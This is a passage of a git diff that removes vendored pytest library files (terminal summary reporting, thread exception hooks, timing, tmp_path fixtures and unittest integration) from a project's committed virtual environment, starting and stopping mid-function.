**verbose_markup) - prefix = "Skipped: " - for num, fspath, lineno, reason in fskips: - if reason.startswith(prefix): - reason = reason[len(prefix) :] - if lineno is not None: - lines.append( - "%s [%d] %s:%d: %s" % (markup_word, num, fspath, lineno, reason) - ) - else: - lines.append("%s [%d] %s: %s" % (markup_word, num, fspath, reason)) - - def show_skipped_unfolded(lines: list[str]) -> None: - skipped: list[CollectReport] = self.stats.get("skipped", []) - - for rep in skipped: - assert rep.longrepr is not None - assert isinstance(rep.longrepr, tuple), (rep, rep.longrepr) - assert len(rep.longrepr) == 3, (rep, rep.longrepr) - - verbose_word, verbose_markup = rep._get_verbose_word_with_markup( - self.config, {_color_for_type["warnings"]: True} - ) - markup_word = self._tw.markup(verbose_word, **verbose_markup) - nodeid = _get_node_id_with_markup(self._tw, self.config, rep) - line = f"{markup_word} {nodeid}" - reason = rep.longrepr[2] - if reason: - line += " - " + str(reason) - lines.append(line) - - def show_skipped(lines: list[str]) -> None: - if self.foldskipped: - show_skipped_folded(lines) - else: - show_skipped_unfolded(lines) - - REPORTCHAR_ACTIONS: Mapping[str, Callable[[list[str]], None]] = { - "x": show_xfailed, - "X": show_xpassed, - "f": partial(show_simple, stat="failed"), - "s": show_skipped, - "p": partial(show_simple, stat="passed"), - "E": partial(show_simple, stat="error"), - } - - lines: list[str] = [] - for char in self.reportchars: - action = REPORTCHAR_ACTIONS.get(char) - if action: # skipping e.g. "P" (passed with output) here. - action(lines) - - if lines: - self.write_sep("=", "short test summary info", cyan=True, bold=True) - for line in lines: - self.write_line(line) - - def _get_main_color(self) -> tuple[str, list[str]]: - if self._main_color is None or self._known_types is None or self._is_last_item: - self._set_main_color() - assert self._main_color - assert self._known_types - return self._main_color, self._known_types - - def _determine_main_color(self, unknown_type_seen: bool) -> str: - stats = self.stats - if "failed" in stats or "error" in stats: - main_color = "red" - elif "warnings" in stats or "xpassed" in stats or unknown_type_seen: - main_color = "yellow" - elif "passed" in stats or not self._is_last_item: - main_color = "green" - else: - main_color = "yellow" - return main_color - - def _set_main_color(self) -> None: - unknown_types: list[str] = [] - for found_type in self.stats: - if found_type: # setup/teardown reports have an empty key, ignore them - if found_type not in KNOWN_TYPES and found_type not in unknown_types: - unknown_types.append(found_type) - self._known_types = list(KNOWN_TYPES) + unknown_types - self._main_color = self._determine_main_color(bool(unknown_types)) - - def build_summary_stats_line(self) -> tuple[list[tuple[str, dict[str, bool]]], str]: - """ - Build the parts used in the last summary stats line. - - The summary stats line is the line shown at the end, "=== 12 passed, 2 errors in Xs===". - - This function builds a list of the "parts" that make up for the text in that line, in - the example above it would be: - - [ - ("12 passed", {"green": True}), - ("2 errors", {"red": True} - ] - - That last dict for each line is a "markup dictionary", used by TerminalWriter to - color output. - - The final color of the line is also determined by this function, and is the second - element of the returned tuple. - """ - if self.config.getoption("collectonly"): - return self._build_collect_only_summary_stats_line() - else: - return self._build_normal_summary_stats_line() - - def _get_reports_to_display(self, key: str) -> list[Any]: - """Get test/collection reports for the given status key, such as `passed` or `error`.""" - reports = self.stats.get(key, []) - return [x for x in reports if getattr(x, "count_towards_summary", True)] - - def _build_normal_summary_stats_line( - self, - ) -> tuple[list[tuple[str, dict[str, bool]]], str]: - main_color, known_types = self._get_main_color() - parts = [] - - for key in known_types: - reports = self._get_reports_to_display(key) - if reports: - count = len(reports) - color = _color_for_type.get(key, _color_for_type_default) - markup = {color: True, "bold": color == main_color} - parts.append(("%d %s" % pluralize(count, key), markup)) - - if not parts: - parts = [("no tests ran", {_color_for_type_default: True})] - - return parts, main_color - - def _build_collect_only_summary_stats_line( - self, - ) -> tuple[list[tuple[str, dict[str, bool]]], str]: - deselected = len(self._get_reports_to_display("deselected")) - errors = len(self._get_reports_to_display("error")) - - if self._numcollected == 0: - parts = [("no tests collected", {"yellow": True})] - main_color = "yellow" - - elif deselected == 0: - main_color = "green" - collected_output = "%d %s collected" % pluralize(self._numcollected, "test") - parts = [(collected_output, {main_color: True})] - else: - all_tests_were_deselected = self._numcollected == deselected - if all_tests_were_deselected: - main_color = "yellow" - collected_output = f"no tests collected ({deselected} deselected)" - else: - main_color = "green" - selected = self._numcollected - deselected - collected_output = f"{selected}/{self._numcollected} tests collected ({deselected} deselected)" - - parts = [(collected_output, {main_color: True})] - - if errors: - main_color = _color_for_type["error"] - parts += [("%d %s" % pluralize(errors, "error"), {main_color: True})] - - return parts, main_color - - -def _get_node_id_with_markup(tw: TerminalWriter, config: Config, rep: BaseReport): - nodeid = config.cwd_relative_nodeid(rep.nodeid) - path, *parts = nodeid.split("::") - if parts: - parts_markup = tw.markup("::".join(parts), bold=True) - return path + "::" + parts_markup - else: - return path - - -def _format_trimmed(format: str, msg: str, available_width: int) -> str | None: - """Format msg into format, ellipsizing it if doesn't fit in available_width. - - Returns None if even the ellipsis can't fit. - """ - # Only use the first line. - i = msg.find("\n") - if i != -1: - msg = msg[:i] - - ellipsis = "..." - format_width = wcswidth(format.format("")) - if format_width + len(ellipsis) > available_width: - return None - - if format_width + wcswidth(msg) > available_width: - available_width -= len(ellipsis) - msg = msg[:available_width] - while format_width + wcswidth(msg) > available_width: - msg = msg[:-1] - msg += ellipsis - - return format.format(msg) - - -def _get_line_with_reprcrash_message( - config: Config, rep: BaseReport, tw: TerminalWriter, word_markup: dict[str, bool] -) -> str: - """Get summary line for a report, trying to add reprcrash message.""" - verbose_word, verbose_markup = rep._get_verbose_word_with_markup( - config, word_markup - ) - word = tw.markup(verbose_word, **verbose_markup) - node = _get_node_id_with_markup(tw, config, rep) - - line = f"{word} {node}" - line_width = wcswidth(line) - - try: - # Type ignored intentionally -- possible AttributeError expected. - msg = rep.longrepr.reprcrash.message # type: ignore[union-attr] - except AttributeError: - pass - else: - if running_on_ci() or config.option.verbose >= 2: - msg = f" - {msg}" - else: - available_width = tw.fullwidth - line_width - msg = _format_trimmed(" - {}", msg, available_width) - if msg is not None: - line += msg - - return line - - -def _folded_skips( - startpath: Path, - skipped: Sequence[CollectReport], -) -> list[tuple[int, str, int | None, str]]: - d: dict[tuple[str, int | None, str], list[CollectReport]] = {} - for event in skipped: - assert event.longrepr is not None - assert isinstance(event.longrepr, tuple), (event, event.longrepr) - assert len(event.longrepr) == 3, (event, event.longrepr) - fspath, lineno, reason = event.longrepr - # For consistency, report all fspaths in relative form. - fspath = bestrelpath(startpath, Path(fspath)) - keywords = getattr(event, "keywords", {}) - # Folding reports with global pytestmark variable. - # This is a workaround, because for now we cannot identify the scope of a skip marker - # TODO: Revisit after marks scope would be fixed. - if ( - event.when == "setup" - and "skip" in keywords - and "pytestmark" not in keywords - ): - key: tuple[str, int | None, str] = (fspath, None, reason) - else: - key = (fspath, lineno, reason) - d.setdefault(key, []).append(event) - values: list[tuple[int, str, int | None, str]] = [] - for key, events in d.items(): - values.append((len(events), *key)) - return values - - -_color_for_type = { - "failed": "red", - "error": "red", - "warnings": "yellow", - "passed": "green", -} -_color_for_type_default = "yellow" - - -def pluralize(count: int, noun: str) -> tuple[int, str]: - # No need to pluralize words such as `failed` or `passed`. - if noun not in ["error", "warnings", "test"]: - return count, noun - - # The `warnings` key is plural. To avoid API breakage, we keep it that way but - # set it to singular here so we can determine plurality in the same way as we do - # for `error`. - noun = noun.replace("warnings", "warning") - - return count, noun + "s" if count != 1 else noun - - -def _plugin_nameversions(plugininfo) -> list[str]: - values: list[str] = [] - for plugin, dist in plugininfo: - # Gets us name and version! - name = f"{dist.project_name}-{dist.version}" - # Questionable convenience, but it keeps things short. - if name.startswith("pytest-"): - name = name[7:] - # We decided to print python package names they can have more than one plugin. - if name not in values: - values.append(name) - return values - - -def format_session_duration(seconds: float) -> str: - """Format the given seconds in a human readable manner to show in the final summary.""" - if seconds < 60: - return f"{seconds:.2f}s" - else: - dt = datetime.timedelta(seconds=int(seconds)) - return f"{seconds:.2f}s ({dt})" - - -def _get_raw_skip_reason(report: TestReport) -> str: - """Get the reason string of a skip/xfail/xpass test report. - - The string is just the part given by the user. - """ - if hasattr(report, "wasxfail"): - reason = report.wasxfail - if reason.startswith("reason: "): - reason = reason[len("reason: ") :] - return reason - else: - assert report.skipped - assert isinstance(report.longrepr, tuple) - _, _, reason = report.longrepr - if reason.startswith("Skipped: "): - reason = reason[len("Skipped: ") :] - elif reason == "Skipped": - reason = "" - return reason diff --git a/backend/venv/Lib/site-packages/_pytest/threadexception.py b/backend/venv/Lib/site-packages/_pytest/threadexception.py deleted file mode 100644 index d78c32c8..00000000 --- a/backend/venv/Lib/site-packages/_pytest/threadexception.py +++ /dev/null @@ -1,97 +0,0 @@ -from __future__ import annotations - -import threading -import traceback -from types import TracebackType -from typing import Any -from typing import Callable -from typing import Generator -from typing import TYPE_CHECKING -import warnings - -import pytest - - -if TYPE_CHECKING: - from typing_extensions import Self - - -# Copied from cpython/Lib/test/support/threading_helper.py, with modifications. -class catch_threading_exception: - """Context manager catching threading.Thread exception using - threading.excepthook. - - Storing exc_value using a custom hook can create a reference cycle. The - reference cycle is broken explicitly when the context manager exits. - - Storing thread using a custom hook can resurrect it if it is set to an - object which is being finalized. Exiting the context manager clears the - stored object. - - Usage: - with threading_helper.catch_threading_exception() as cm: - # code spawning a thread which raises an exception - ... - # check the thread exception: use cm.args - ... - # cm.args attribute no longer exists at this point - # (to break a reference cycle) - """ - - def __init__(self) -> None: - self.args: threading.ExceptHookArgs | None = None - self._old_hook: Callable[[threading.ExceptHookArgs], Any] | None = None - - def _hook(self, args: threading.ExceptHookArgs) -> None: - self.args = args - - def __enter__(self) -> Self: - self._old_hook = threading.excepthook - threading.excepthook = self._hook - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - assert self._old_hook is not None - threading.excepthook = self._old_hook - self._old_hook = None - del self.args - - -def thread_exception_runtest_hook() -> Generator[None, None, None]: - with catch_threading_exception() as cm: - try: - yield - finally: - if cm.args: - thread_name = ( - "" if cm.args.thread is None else cm.args.thread.name - ) - msg = f"Exception in thread {thread_name}\n\n" - msg += "".join( - traceback.format_exception( - cm.args.exc_type, - cm.args.exc_value, - cm.args.exc_traceback, - ) - ) - warnings.warn(pytest.PytestUnhandledThreadExceptionWarning(msg)) - - -@pytest.hookimpl(wrapper=True, trylast=True) -def pytest_runtest_setup() -> Generator[None, None, None]: - yield from thread_exception_runtest_hook() - - -@pytest.hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_call() -> Generator[None, None, None]: - yield from thread_exception_runtest_hook() - - -@pytest.hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_teardown() -> Generator[None, None, None]: - yield from thread_exception_runtest_hook() diff --git a/backend/venv/Lib/site-packages/_pytest/timing.py b/backend/venv/Lib/site-packages/_pytest/timing.py deleted file mode 100644 index b23c7f69..00000000 --- a/backend/venv/Lib/site-packages/_pytest/timing.py +++ /dev/null @@ -1,16 +0,0 @@ -"""Indirection for time functions. - -We intentionally grab some "time" functions internally to avoid tests mocking "time" to affect -pytest runtime information (issue #185). - -Fixture "mock_timing" also interacts with this module for pytest's own tests. -""" - -from __future__ import annotations - -from time import perf_counter -from time import sleep -from time import time - - -__all__ = ["perf_counter", "sleep", "time"] diff --git a/backend/venv/Lib/site-packages/_pytest/tmpdir.py b/backend/venv/Lib/site-packages/_pytest/tmpdir.py deleted file mode 100644 index 91109ea6..00000000 --- a/backend/venv/Lib/site-packages/_pytest/tmpdir.py +++ /dev/null @@ -1,322 +0,0 @@ -# mypy: allow-untyped-defs -"""Support for providing temporary directories to test functions.""" - -from __future__ import annotations - -import dataclasses -import os -from pathlib import Path -import re -from shutil import rmtree -import tempfile -from typing import Any -from typing import Dict -from typing import final -from typing import Generator -from typing import Literal - -from .pathlib import cleanup_dead_symlinks -from .pathlib import LOCK_TIMEOUT -from .pathlib import make_numbered_dir -from .pathlib import make_numbered_dir_with_cleanup -from .pathlib import rm_rf -from _pytest.compat import get_user_id -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.monkeypatch import MonkeyPatch -from _pytest.nodes import Item -from _pytest.reports import TestReport -from _pytest.stash import StashKey - - -tmppath_result_key = StashKey[Dict[str, bool]]() -RetentionType = Literal["all", "failed", "none"] - - -@final -@dataclasses.dataclass -class TempPathFactory: - """Factory for temporary directories under the common base temp directory. - - The base directory can be configured using the ``--basetemp`` option. - """ - - _given_basetemp: Path | None - # pluggy TagTracerSub, not currently exposed, so Any. - _trace: Any - _basetemp: Path | None - _retention_count: int - _retention_policy: RetentionType - - def __init__( - self, - given_basetemp: Path | None, - retention_count: int, - retention_policy: RetentionType, - trace, - basetemp: Path | None = None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - if given_basetemp is None: - self._given_basetemp = None - else: - # Use os.path.abspath() to get absolute path instead of resolve() as it - # does not work the same in all platforms (see #4427). - # Path.absolute() exists, but it is not public (see https://bugs.python.org/issue25012). - self._given_basetemp = Path(os.path.abspath(str(given_basetemp))) - self._trace = trace - self._retention_count = retention_count - self._retention_policy = retention_policy - self._basetemp = basetemp - - @classmethod - def from_config( - cls, - config: Config, - *, - _ispytest: bool = False, - ) -> TempPathFactory: - """Create a factory according to pytest configuration. - - :meta private: - """ - check_ispytest(_ispytest) - count = int(config.getini("tmp_path_retention_count")) - if count < 0: - raise ValueError( - f"tmp_path_retention_count must be >= 0. Current input: {count}." - ) - - policy = config.getini("tmp_path_retention_policy") - if policy not in ("all", "failed", "none"): - raise ValueError( - f"tmp_path_retention_policy must be either all, failed, none. Current input: {policy}." - ) - - return cls( - given_basetemp=config.option.basetemp, - trace=config.trace.get("tmpdir"), - retention_count=count, - retention_policy=policy, - _ispytest=True, - ) - - def _ensure_relative_to_basetemp(self, basename: str) -> str: - basename = os.path.normpath(basename) - if (self.getbasetemp() / basename).resolve().parent != self.getbasetemp(): - raise ValueError(f"{basename} is not a normalized and relative path") - return basename - - def mktemp(self, basename: str, numbered: bool = True) -> Path: - """Create a new temporary directory managed by the factory. - - :param basename: - Directory base name, must be a relative path. - - :param numbered: - If ``True``, ensure the directory is unique by adding a numbered - suffix greater than any existing one: ``basename="foo-"`` and ``numbered=True`` - means that this function will create directories named ``"foo-0"``, - ``"foo-1"``, ``"foo-2"`` and so on. - - :returns: - The path to the new directory. - """ - basename = self._ensure_relative_to_basetemp(basename) - if not numbered: - p = self.getbasetemp().joinpath(basename) - p.mkdir(mode=0o700) - else: - p = make_numbered_dir(root=self.getbasetemp(), prefix=basename, mode=0o700) - self._trace("mktemp", p) - return p - - def getbasetemp(self) -> Path: - """Return the base temporary directory, creating it if needed. - - :returns: - The base temporary directory. - """ - if self._basetemp is not None: - return self._basetemp - - if self._given_basetemp is not None: - basetemp = self._given_basetemp - if basetemp.exists(): - rm_rf(basetemp) - basetemp.mkdir(mode=0o700) - basetemp = basetemp.resolve() - else: - from_env = os.environ.get("PYTEST_DEBUG_TEMPROOT") - temproot = Path(from_env or tempfile.gettempdir()).resolve() - user = get_user() or "unknown" - # use a sub-directory in the temproot to speed-up - # make_numbered_dir() call - rootdir = temproot.joinpath(f"pytest-of-{user}") - try: - rootdir.mkdir(mode=0o700, exist_ok=True) - except OSError: - # getuser() likely returned illegal characters for the platform, use unknown back off mechanism - rootdir = temproot.joinpath("pytest-of-unknown") - rootdir.mkdir(mode=0o700, exist_ok=True) - # Because we use exist_ok=True with a predictable name, make sure - # we are the owners, to prevent any funny business (on unix, where - # temproot is usually shared). - # Also, to keep things private, fixup any world-readable temp - # rootdir's permissions. Historically 0o755 was used, so we can't - # just error out on this, at least for a while. - uid = get_user_id() - if uid is not None: - rootdir_stat = rootdir.stat() - if rootdir_stat.st_uid != uid: - raise OSError( - f"The temporary directory {rootdir} is not owned by the current user. " - "Fix this and try again." - ) - if (rootdir_stat.st_mode & 0o077) != 0: - os.chmod(rootdir, rootdir_stat.st_mode & ~0o077) - keep = self._retention_count - if self._retention_policy == "none": - keep = 0 - basetemp = make_numbered_dir_with_cleanup( - prefix="pytest-", - root=rootdir, - keep=keep, - lock_timeout=LOCK_TIMEOUT, - mode=0o700, - ) - assert basetemp is not None, basetemp - self._basetemp = basetemp - self._trace("new basetemp", basetemp) - return basetemp - - -def get_user() -> str | None: - """Return the current user name, or None if getuser() does not work - in the current environment (see #1010).""" - try: - # In some exotic environments, getpass may not be importable. - import getpass - - return getpass.getuser() - except (ImportError, OSError, KeyError): - return None - - -def pytest_configure(config: Config) -> None: - """Create a TempPathFactory and attach it to the config object. - - This is to comply with existing plugins which expect the handler to be - available at pytest_configure time, but ideally should be moved entirely - to the tmp_path_factory session fixture. - """ - mp = MonkeyPatch() - config.add_cleanup(mp.undo) - _tmp_path_factory = TempPathFactory.from_config(config, _ispytest=True) - mp.setattr(config, "_tmp_path_factory", _tmp_path_factory, raising=False) - - -def pytest_addoption(parser: Parser) -> None: - parser.addini( - "tmp_path_retention_count", - help="How many sessions should we keep the `tmp_path` directories, according to `tmp_path_retention_policy`.", - default=3, - ) - - parser.addini( - "tmp_path_retention_policy", - help="Controls which directories created by the `tmp_path` fixture are kept around, based on test outcome. " - "(all/failed/none)", - default="all", - ) - - -@fixture(scope="session") -def tmp_path_factory(request: FixtureRequest) -> TempPathFactory: - """Return a :class:`pytest.TempPathFactory` instance for the test session.""" - # Set dynamically by pytest_configure() above. - return request.config._tmp_path_factory # type: ignore - - -def _mk_tmp(request: FixtureRequest, factory: TempPathFactory) -> Path: - name = request.node.name - name = re.sub(r"[\W]", "_", name) - MAXVAL = 30 - name = name[:MAXVAL] - return factory.mktemp(name, numbered=True) - - -@fixture -def tmp_path( - request: FixtureRequest, tmp_path_factory: TempPathFactory -) -> Generator[Path, None, None]: - """Return a temporary directory path object which is unique to each test - function invocation, created as a sub directory of the base temporary - directory. - - By default, a new base temporary directory is created each test session, - and old bases are removed after 3 sessions, to aid in debugging. - This behavior can be configured with :confval:`tmp_path_retention_count` and - :confval:`tmp_path_retention_policy`. - If ``--basetemp`` is used then it is cleared each session. See - :ref:`temporary directory location and retention`. - - The returned object is a :class:`pathlib.Path` object. - """ - path = _mk_tmp(request, tmp_path_factory) - yield path - - # Remove the tmpdir if the policy is "failed" and the test passed. - tmp_path_factory: TempPathFactory = request.session.config._tmp_path_factory # type: ignore - policy = tmp_path_factory._retention_policy - result_dict = request.node.stash[tmppath_result_key] - - if policy == "failed" and result_dict.get("call", True): - # We do a "best effort" to remove files, but it might not be possible due to some leaked resource, - # permissions, etc, in which case we ignore it. - rmtree(path, ignore_errors=True) - - del request.node.stash[tmppath_result_key] - - -def pytest_sessionfinish(session, exitstatus: int | ExitCode): - """After each session, remove base directory if all the tests passed, - the policy is "failed", and the basetemp is not specified by a user. - """ - tmp_path_factory: TempPathFactory = session.config._tmp_path_factory - basetemp = tmp_path_factory._basetemp - if basetemp is None: - return - - policy = tmp_path_factory._retention_policy - if ( - exitstatus == 0 - and policy == "failed" - and tmp_path_factory._given_basetemp is None - ): - if basetemp.is_dir(): - # We do a "best effort" to remove files, but it might not be possible due to some leaked resource, - # permissions, etc, in which case we ignore it. - rmtree(basetemp, ignore_errors=True) - - # Remove dead symlinks. - if basetemp.is_dir(): - cleanup_dead_symlinks(basetemp) - - -@hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_makereport( - item: Item, call -) -> Generator[None, TestReport, TestReport]: - rep = yield - assert rep.when is not None - empty: dict[str, bool] = {} - item.stash.setdefault(tmppath_result_key, empty)[rep.when] = rep.passed - return rep diff --git a/backend/venv/Lib/site-packages/_pytest/unittest.py b/backend/venv/Lib/site-packages/_pytest/unittest.py deleted file mode 100644 index aefea133..00000000 --- a/backend/venv/Lib/site-packages/_pytest/unittest.py +++ /dev/null @@ -1,435 +0,0 @@ -# mypy: allow-untyped-defs -"""Discover and run std-library "unittest" style tests.""" - -from __future__ import annotations - -import inspect -import sys -import traceback -import types -from typing import Any -from typing import Callable -from typing import Generator -from typing import Iterable -from typing import Tuple -from typing import Type -from typing import TYPE_CHECKING -from typing import Union - -import _pytest._code -from _pytest.compat import is_async_function -from _pytest.config import hookimpl -from _pytest.fixtures import FixtureRequest -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.outcomes import exit -from _pytest.outcomes import fail -from _pytest.outcomes import skip -from _pytest.outcomes import xfail -from _pytest.python import Class -from _pytest.python import Function -from _pytest.python import Module -from _pytest.runner import CallInfo -import pytest - - -if sys.version_info[:2] < (3, 11): - from exceptiongroup import ExceptionGroup - -if TYPE_CHECKING: - import unittest - - import twisted.trial.unittest - - -_SysExcInfoType = Union[ - Tuple[Type[BaseException], BaseException, types.TracebackType], - Tuple[None, None, None], -] - - -def pytest_pycollect_makeitem( - collector: Module | Class, name: str, obj: object -) -> UnitTestCase | None: - try: - # Has unittest been imported? - ut = sys.modules["unittest"] - # Is obj a subclass of unittest.TestCase? - # Type ignored because `ut` is an opaque module. - if not issubclass(obj, ut.TestCase): # type: ignore - return None - except Exception: - return None - # Is obj a concrete class? - # Abstract classes can't be instantiated so no point collecting them. - if inspect.isabstract(obj): - return None - # Yes, so let's collect it. - return UnitTestCase.from_parent(collector, name=name, obj=obj) - - -class UnitTestCase(Class): - # Marker for fixturemanger.getfixtureinfo() - # to declare that our children do not support funcargs. - nofuncargs = True - - def newinstance(self): - # TestCase __init__ takes the method (test) name. The TestCase - # constructor treats the name "runTest" as a special no-op, so it can be - # used when a dummy instance is needed. While unittest.TestCase has a - # default, some subclasses omit the default (#9610), so always supply - # it. - return self.obj("runTest") - - def collect(self) -> Iterable[Item | Collector]: - from unittest import TestLoader - - cls = self.obj - if not getattr(cls, "__test__", True): - return - - skipped = _is_skipped(cls) - if not skipped: - self._register_unittest_setup_method_fixture(cls) - self._register_unittest_setup_class_fixture(cls) - self._register_setup_class_fixture() - - self.session._fixturemanager.parsefactories(self.newinstance(), self.nodeid) - - loader = TestLoader() - foundsomething = False - for name in loader.getTestCaseNames(self.obj): - x = getattr(self.obj, name) - if not getattr(x, "__test__", True): - continue - yield TestCaseFunction.from_parent(self, name=name) - foundsomething = True - - if not foundsomething: - runtest = getattr(self.obj, "runTest", None) - if runtest is not None: - ut = sys.modules.get("twisted.trial.unittest", None) - if ut is None or runtest != ut.TestCase.runTest: - yield TestCaseFunction.from_parent(self, name="runTest") - - def _register_unittest_setup_class_fixture(self, cls: type) -> None: - """Register an auto-use fixture to invoke setUpClass and - tearDownClass (#517).""" - setup = getattr(cls, "setUpClass", None) - teardown = getattr(cls, "tearDownClass", None) - if setup is None and teardown is None: - return None - cleanup = getattr(cls, "doClassCleanups", lambda: None) - - def process_teardown_exceptions() -> None: - # tearDown_exceptions is a list set in the class containing exc_infos for errors during - # teardown for the class. - exc_infos = getattr(cls, "tearDown_exceptions", None) - if not exc_infos: - return - exceptions = [exc for (_, exc, _) in exc_infos] - # If a single exception, raise it directly as this provides a more readable - # error (hopefully this will improve in #12255). - if len(exceptions) == 1: - raise exceptions[0] - else: - raise ExceptionGroup("Unittest class cleanup errors", exceptions) - - def unittest_setup_class_fixture( - request: FixtureRequest, - ) -> Generator[None, None, None]: - cls = request.cls - if _is_skipped(cls): - reason = cls.__unittest_skip_why__ - raise pytest.skip.Exception(reason, _use_item_location=True) - if setup is not None: - try: - setup() - # unittest does not call the cleanup function for every BaseException, so we - # follow this here. - except Exception: - cleanup() - process_teardown_exceptions() - raise - yield - try: - if teardown is not None: - teardown() - finally: - cleanup() - process_teardown_exceptions() - - self.session._fixturemanager._register_fixture( - # Use a unique name to speed up lookup. - name=f"_unittest_setUpClass_fixture_{cls.__qualname__}", - func=unittest_setup_class_fixture, - nodeid=self.nodeid, - scope="class", - autouse=True, - ) - - def _register_unittest_setup_method_fixture(self, cls: type) -> None: - """Register an auto-use fixture to invoke setup_method and - teardown_method (#517).""" - setup = getattr(cls, "setup_method", None) - teardown = getattr(cls, "teardown_method", None) - if setup is None and teardown is None: - return None - - def unittest_setup_method_fixture( - request: FixtureRequest, - ) -> Generator[None, None, None]: - self = request.instance - if _is_skipped(self): - reason = self.__unittest_skip_why__ - raise pytest.skip.Exception(reason, _use_item_location=True) - if setup is not None: - setup(self, request.function) - yield - if teardown is not None: - teardown(self, request.function) - - self.session._fixturemanager._register_fixture( - # Use a unique name to speed up lookup. - name=f"_unittest_setup_method_fixture_{cls.__qualname__}", - func=unittest_setup_method_fixture, - nodeid=self.nodeid, - scope="function", - autouse=True, - ) - - -class TestCaseFunction(Function): - nofuncargs = True - _excinfo: list[_pytest._code.ExceptionInfo[BaseException]] | None = None - - def _getinstance(self): - assert isinstance(self.parent, UnitTestCase) - return self.parent.obj(self.name) - - # Backward compat for pytest-django; can be removed after pytest-django - # updates + some slack. - @property - def _testcase(self): - return self.instance - - def setup(self) -> None: - # A bound method to be called during teardown() if set (see 'runtest()'). - self._explicit_tearDown: Callable[[], None] | None = None - super().setup() - - def teardown(self) -> None: - if self._explicit_tearDown is not None: - self._explicit_tearDown() - self._explicit_tearDown = None - self._obj = None - del self._instance - super().teardown() - - def startTest(self, testcase: unittest.TestCase) -> None: - pass - - def _addexcinfo(self, rawexcinfo: _SysExcInfoType) -> None: - # Unwrap potential exception info (see twisted trial support below). - rawexcinfo = getattr(rawexcinfo, "_rawexcinfo", rawexcinfo) - try: - excinfo = _pytest._code.ExceptionInfo[BaseException].from_exc_info( - rawexcinfo # type: ignore[arg-type] - ) - # Invoke the attributes to trigger storing the traceback - # trial causes some issue there. - _ = excinfo.value - _ = excinfo.traceback - except TypeError: - try: - try: - values = traceback.format_exception(*rawexcinfo) - values.insert( - 0, - "NOTE: Incompatible Exception Representation, " - "displaying natively:\n\n", - ) - fail("".join(values), pytrace=False) - except (fail.Exception, KeyboardInterrupt): - raise - except BaseException: - fail( - "ERROR: Unknown Incompatible Exception " - f"representation:\n{rawexcinfo!r}", - pytrace=False, - ) - except KeyboardInterrupt: - raise - except fail.Exception: - excinfo = _pytest._code.ExceptionInfo.from_current() - self.__dict__.setdefault("_excinfo", []).append(excinfo) - - def addError( - self, testcase: unittest.TestCase, rawexcinfo: _SysExcInfoType - ) -> None: - try: - if isinstance(rawexcinfo[1], exit.Exception): - exit(rawexcinfo[1].msg) - except TypeError: - pass - self._addexcinfo(rawexcinfo) - - def addFailure( - self, testcase: unittest.TestCase, rawexcinfo: _SysExcInfoType - ) -> None: - self._addexcinfo(rawexcinfo) - - def addSkip(self, testcase: unittest.TestCase, reason: str) -> None: - try: - raise pytest.skip.Exception(reason, _use_item_location=True) - except skip.Exception: - self._addexcinfo(sys.exc_info()) - - def addExpectedFailure( - self, - testcase: unittest.TestCase, - rawexcinfo: _SysExcInfoType, - reason: str = "", - ) -> None: - try: - xfail(str(reason)) - except xfail.Exception: - self._addexcinfo(sys.exc_info()) - - def addUnexpectedSuccess( - self, - testcase: unittest.TestCase, - reason: twisted.trial.unittest.Todo | None = None, - ) -> None: - msg = "Unexpected success" - if reason: - msg += f": {reason.reason}" - # Preserve unittest behaviour - fail the test. Explicitly not an XPASS. - try: - fail(msg, pytrace=False) - except fail.Exception: - self._addexcinfo(sys.exc_info()) - - def addSuccess(self, testcase: unittest.TestCase) -> None: - pass - - def stopTest(self, testcase: unittest.TestCase) -> None: - pass - - def addDuration(self, testcase: unittest.TestCase, elapsed: float) -> None: - pass - - def runtest(self) -> None: - from _pytest.debugging import maybe_wrap_pytest_function_for_tracing - - testcase = self.instance - assert testcase is not None - - maybe_wrap_pytest_function_for_tracing(self) - - # Let the unittest framework handle async functions. - if is_async_function(self.obj): - testcase(result=self) - else: - # When --pdb is given, we want to postpone calling tearDown() otherwise - # when entering the pdb prompt, tearDown() would have probably cleaned up - # instance variables, which makes it difficult to debug. - # Arguably we could always postpone tearDown(), but this changes the moment where the - # TestCase instance interacts with the results object, so better to only do it - # when absolutely needed. - # We need to consider if the test itself is skipped, or the whole class. - assert isinstance(self.parent, UnitTestCase) - skipped = _is_skipped(self.obj) or _is_skipped(self.parent.obj) - if self.config.getoption("usepdb") and not skipped: - self._explicit_tearDown = testcase.tearDown - setattr(testcase, "tearDown", lambda *args: None) - - # We need to update the actual bound method with self.obj, because - # wrap_pytest_function_for_tracing replaces self.obj by a wrapper. - setattr(testcase, self.name, self.obj) - try: - testcase(result=self) - finally: - delattr(testcase, self.name) - - def _traceback_filter( - self, excinfo: _pytest._code.ExceptionInfo[BaseException] - ) -> _pytest._code.Traceback: - traceback = super()._traceback_filter(excinfo) - ntraceback = traceback.filter( - lambda x: not x.frame.f_globals.get("__unittest"), - ) - if not ntraceback: - ntraceback = traceback - return ntraceback - - -@hookimpl(tryfirst=True) -def pytest_runtest_makereport(item: Item, call: CallInfo[None]) -> None: - if isinstance(item, TestCaseFunction): - if item._excinfo: - call.excinfo = item._excinfo.pop(0) - try: - del call.result - except AttributeError: - pass - - # Convert unittest.SkipTest to pytest.skip. - # This is actually only needed for nose, which reuses unittest.SkipTest for - # its own nose.SkipTest. For unittest TestCases, SkipTest is already - # handled internally, and doesn't reach here. - unittest = sys.modules.get("unittest") - if unittest and call.excinfo and isinstance(call.excinfo.value, unittest.SkipTest): - excinfo = call.excinfo - call2 = CallInfo[None].from_call( - lambda: pytest.skip(str(excinfo.value)), call.when - ) - call.excinfo = call2.excinfo - - -# Twisted trial support. -classImplements_has_run = False - - -@hookimpl(wrapper=True) -def pytest_runtest_protocol(item: Item) -> Generator[None, object, object]: - if isinstance(item, TestCaseFunction) and "twisted.trial.unittest" in sys.modules: - ut: Any = sys.modules["twisted.python.failure"] - global classImplements_has_run - Failure__init__ = ut.Failure.__init__ - if not classImplements_has_run: - from twisted.trial.itrial import IReporter - from zope.interface import classImplements - - 